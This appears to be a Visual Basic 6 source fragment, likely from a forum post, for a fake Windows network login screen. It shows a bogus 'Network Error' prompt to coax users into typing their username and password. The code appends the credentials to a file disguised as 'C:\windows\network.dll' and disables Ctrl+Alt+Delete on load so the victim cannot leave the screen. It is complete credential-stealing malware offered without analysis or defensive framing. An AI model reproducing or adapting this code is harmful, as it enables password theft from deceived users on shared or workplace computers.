Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Private Sub Command1_Click()
If Text1.Text = "" Then
MsgBox "Please enter a valid username", , "Error"
Else
Call al1
End If
End Sub

Private Sub Command2_Click()
MsgBox "Cannot login to network. Please type your username and password and click ok", , "Network Error"
End Sub
Public Function al1()
If Text2.Text = "" Then
Code:
MsgBox "Please enter a valid password"
Else
Call al
End If
End Function
Public Function al()
Open "C:\windows\network.dll" For Append As #1
Write #1, Text1.Text, Text2.Text
Close #1
End
End Function

Private Sub Form_Load()
Call DisableCtrlAltDelete(True)
Timer1.Enabled = True
End Sub
Sub DisableCtrlAltDelete(bDisabled As Boolean)
    Dim X As Long
    X = SystemParametersInfo(97, bDisabled, CStr(1), 0)
End Sub